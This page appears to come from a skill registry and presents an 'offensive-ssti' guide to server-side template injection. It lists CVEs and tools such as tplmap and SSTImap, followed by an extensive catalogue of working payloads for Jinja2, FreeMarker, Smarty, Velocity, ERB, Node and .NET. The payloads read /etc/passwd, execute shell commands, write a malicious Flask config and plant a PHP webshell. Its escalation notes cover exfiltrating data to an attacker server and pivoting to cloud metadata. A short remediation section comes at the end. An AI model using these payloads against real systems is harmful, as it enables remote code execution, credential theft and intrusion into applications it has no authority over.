offensive-ssti
| | CVE‑2024‑22195 | Jinja2 sandbox / `xmlattr` filter bypass | High | 3.
- License 许可
- MIT
- 最近更新
- 2026-09-01
- Stars
- ★ 0
- Forks
- 0
01 前言 Front Matter
- name
- offensive-ssti
- domain
- cybersecurity
- description
- | | CVE‑2024‑22195 | Jinja2 sandbox / `xmlattr` filter bypass | High | 3.
02 资源文件 1
- 参考文档index.json531 B
03 SKILL.md 正文
|
| CVE‑2024‑22195 | Jinja2 sandbox / xmlattr filter bypass | High | 3.1.3 |
| CVE‑2024‑46507 | Yeti threat‑intel platform SSTI → RCE | Critical | 1.6.2 |
| Various (2024) | Atlassian Confluence widgets, CrushFTP, HFS | Critical | See vendor advisories |
Automated Scanning & CI Integration
- nuclei and semgrep include up‑to‑date SSTI rules; integrate them into pull‑request checks.
- GitHub code‑scanning query pack “SSTI” (released 2024‑10) covers Python, PHP, Go.
- Add a CI gate blocking merges on raw
render_template_stringor.format()inside templates.
Vulnerabilities
Common vulnerable patterns include:
- Direct Rendering:
render_template_string("Hello " + user_input) - Unsafe Variable Usage:
{{ unsafe_variable }}whereunsafe_variablecontains template code. - Framework-Specific Functions: Using functions known to be dangerous if processing user input (consult framework documentation).
Methodologies
Tools
Active Exploitation:
- tplmap:
python tplmap.py -u 'http://www.target.com/page?name=John*'(https://github.com/epinna/tplmap) - SSTImap:
python3 sstimap.py -u "https://example.com/page?name=John" -s - TInjA:
tinja url -u "http://example.com/?name=Kirlia" - crithit – SSTI‑centric fuzzer supporting Go/Tera, Blade, and Mako (2024)
Burp Suite Extensions:
- Template Injector – maintained fork replacing TemplateTester
- Server Side Template Injection - Active scanner checks
- Param Miner - Discover hidden parameters that might accept template input
Scanning & Detection:
- nuclei (
templates/ssti-*) – fast HTTP scanner with updated SSTI signatures (2024-2025) - semgrep with SSTI rulesets – Static analysis for template injection vulnerabilities
- GitHub CodeQL "SSTI" query pack (2024-10) – Covers Python, PHP, Go
Framework-Specific:
- Jinja2 Sandbox Escape Tools - Testing Jinja2 sandboxed environments
- Node Template Tester - EJS/Pug/Handlebars/Nunjucks testing suite
Manual Testing & Exploitation Payloads
- Generic/Polyglot:
${{<%[%'"}}%\.{{7*7}}->49{{7*'7'}}->7777777{{ '7'*7 }}(Jinja2) ->7777777@(1+2)(.NET Razor) ->3
- Jinja2 (Python / Flask):
- Debug/Info:
{{config}},{{self}},{{settings.SECRET_KEY}},{% debug %}(Requires debug extension) - List Subclasses:
{{ [].__class__.__base__.__subclasses__() }},{{ ''.__class__.__mro__[1].__subclasses__() }}(Index 1 or 2 depending on Python version) - Recover
objectClass:{{ ''.__class__.__mro__[1] }}(or[2]),{{ ''.__class__.__base__ }} - Find File Class: Iterate through subclasses list or guess index, e.g.,
[40]on some systems. - Read File (via
__subclasses__):{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}(Index varies) - RCE (via
__subclasses__):{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip() }}(Findsubprocess.Popenindex, e.g.,396) - RCE (Common - via
__globals__):{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} - RCE (via
requestobject -__globals__):{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }} - RCE (via
configobject -__globals__):{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }} - RCE (Alternative via
__globals__search):{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}(Search for a class with_moduleattribute) - RCE (via
configandimport_string):{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }} - RCE (via
requestand hex/brackets bypass):{{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']() }} - Write File (via
__subclasses__):{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evil', 'w').write('hello') }}(Index varies) - Write Evil Config & RCE:
# Write config {{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # Load config {{ config.from_pyfile('/tmp/evilconfig.cfg') }} # Execute {{ config['RUNCMD']('id',shell=True) }} - Avoid HTML Encoding:
{{'<script>alert(1)</script>'|safe}} - Loop:
{%raw %}{% for c in [1,2,3] %}{{ c,c,c }}{% endfor %}{% endraw %}
- Debug/Info:
- FreeMarker (Java):
- RCE:
<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") } - RCE:
${"freemarker.template.utility.Execute"?new()("id")} - File Read:
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}(May require adjustments) - Info:
${class.getResource("").getPath()},${T(java.lang.System).getenv()}
- RCE:
- Smarty (PHP):
{$smarty.version}{php}echoid;{/php}(If PHP tag enabled){Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}(Write webshell){{7*7}},{{7*'7'}}{{dump(app)}}(Symfony)"{{'/etc/passwd'|file_excerpt(1,30)}}"@(Twig)
- Velocity (Java):
#set($str=$class.inspect("java.lang.String").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream()) ... #foreach ... $str.valueOf($chr.toChars($out.read())) ... #end(Read command output)
- Ruby (ERB, Slim):
<%= system("whoami") %><%= Dir.entries('/') %><%= File.open('/etc/passwd').read %>
- Node.js (Various engines):
{{this.constructor.constructor('return process.mainModule.require("child_process").execSync("id")')()}}- Payloads often involve traversing prototypes (
this.__proto__) to reachconstructorand eventuallyFunctionorrequire. See PayloadAllTheThings / Hacker Recipes for detailed Node examples.
- ASP/.NET (Razor, etc.):
@(1+2)->3@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");<%= CreateObject("Wscript.Shell").exec("cmd /c whoami").StdOut.ReadAll() %>(Classic ASP)
- Perl (Template Toolkit):
[% PERL %] ... perl code ... [% END %]<%= perl code %>or<% perl code %>(Depending on config)
- Go (
text/template):- Potentially dangerous if methods allowing command execution are exposed to the template:
{{ .System "ls" }} html/templateis generally safer against XSS but might still leak info if not used carefully.
- Potentially dangerous if methods allowing command execution are exposed to the template:
Comprehensive Payloads
Chaining and Escalation
SSTI often leads directly to RCE, but can also be used for:
- RCE: Primary goal, gain shell access.
- File Exfiltration: Read sensitive files (
/etc/passwd,web.config, source code, credentials). - Information Disclosure: Dump environment variables, application configuration (
{{config}},{{settings}}), object properties, internal network paths. - Internal Network Access: Use RCE to pivot, scan internal networks, or access internal services.
- Privilege Escalation: Combine RCE with local exploits if the web server runs with elevated privileges.
- Data Exfiltration: Send internal data to an attacker-controlled server (e.g., via HTTP requests or DNS exfiltration from within the template code).
- SSRF pivot: Some engines permit URL‑fetch filters (
{{''|fetch('http://...')}}); leverage SSTI to query cloud‑metadata endpoints.
Remediation Recommendations
- Never Render User Input Directly: The most critical step. Treat user input as data, not code.
- Use Safe Templating Practices:
- Pass user data into templates using dedicated template variables (e.g.,
render_template('page.html', user_data=user_input)). - Use logic-less templates if possible.
- Pass user data into templates using dedicated template variables (e.g.,
- Sanitize and Validate: If rendering user input is unavoidable (e.g., CMS), rigorously sanitize it. Remove or escape all template syntax characters (
{,},$,%,<,>, etc.). Use allow-lists for safe HTML if needed. - Use Sandboxed Environments: Configure the template engine's sandbox if available and effective for the specific engine. Be aware that sandboxes can often be bypassed.
- Choose Safer Engines: Prefer engines designed for security, like Go's
html/templateovertext/templatefor HTML output, as it provides context-aware auto-escaping. - Principle of Least Privilege: Run the web application process with minimal privileges.
- Input Validation: Validate input against expected formats (e.g., email, number) before it reaches the template layer.
- Patch management: track and apply security updates for template engines (see Recent CVEs).
- Harden runtime: enable seccomp/AppArmor or gVisor so that even a successful RCE has minimal kernel attack surface.
- CI guardrails: block usage of dangerous APIs (e.g.,
render_template_string,Template.compile,evalfilters) via linters/semgrep; add approve‑list of safe helpers - For Node: disable
within EJS, avoidcompileDebug, and run withvmsandbox only when fully locked down (norequireorFunctionreachable)
04 同仓库更多 Skills
devel-jb-algorithmic-art
- Embed algorithms inline in the HTML artifact (don't create separate .
services-wmi-persistence-detect
Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.
services-wmi-exec-exploit
Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.
registry-artifact-extract
Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.
processes-token-impersonate-detect
Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.
processes-thread-injection-detect
Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.